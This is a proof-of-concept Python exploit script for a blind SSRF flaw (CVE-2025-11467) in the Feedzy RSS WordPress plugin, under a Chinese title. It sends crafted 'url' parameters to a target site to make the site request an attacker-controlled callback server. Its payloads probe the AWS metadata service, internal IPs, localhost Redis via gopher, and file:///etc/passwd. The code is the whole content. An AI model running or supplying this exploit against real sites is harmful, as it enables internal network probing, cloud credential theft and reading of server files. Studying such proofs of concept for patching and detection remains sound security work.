CVE-2025-11467 WordPress Feedzy RSS插件Blind SSRF漏洞

import requests import sys # CVE-2025-11467 PoC - Blind SSRF in Feedzy RSS Plugin # Target: WordPress site with Feedzy plugin < 5.1.1 def test_ssrf(target_url, attacker_server): """ Test for Blind SSRF vulnerability in feedzy_lazy_load function target_url: Target WordPress site URL attacker_server: Attacker-controlled server to receive callbacks """ # Vulnerable endpoint parameters params = { 'feedzy_lazy_load': '1', 'url': f'http://{attacker_server}/test', # SSRF payload 'security_nonce': 'any_value' # May be missing validation } # Alternative payloads for internal service probing payloads = [ # AWS metadata service 'http://169.254.169.254/latest/meta-data/', # Internal network scanning 'http://192.168.1.1:80/', # Localhost probing 'http://127.0.0.1:6379/', # File protocol (LFI) 'file:///etc/passwd', # Gopher protocol for Redis 'gopher://127.0.0.1:6379/_INFO' ] print(f'[*] Testing target: {target_url}') print(f'[*] Sending blind SSRF payloads...') for payload in payloads: params['url'] = payload try: response = requests.get(target_url, params=params, timeout=10) print(f'[+] Payload sent: {payload}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') print('[*] Check attacker server logs for incoming requests') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <attacker_server>') sys.exit(1) test_ssrf(sys.argv[1], sys.argv[2])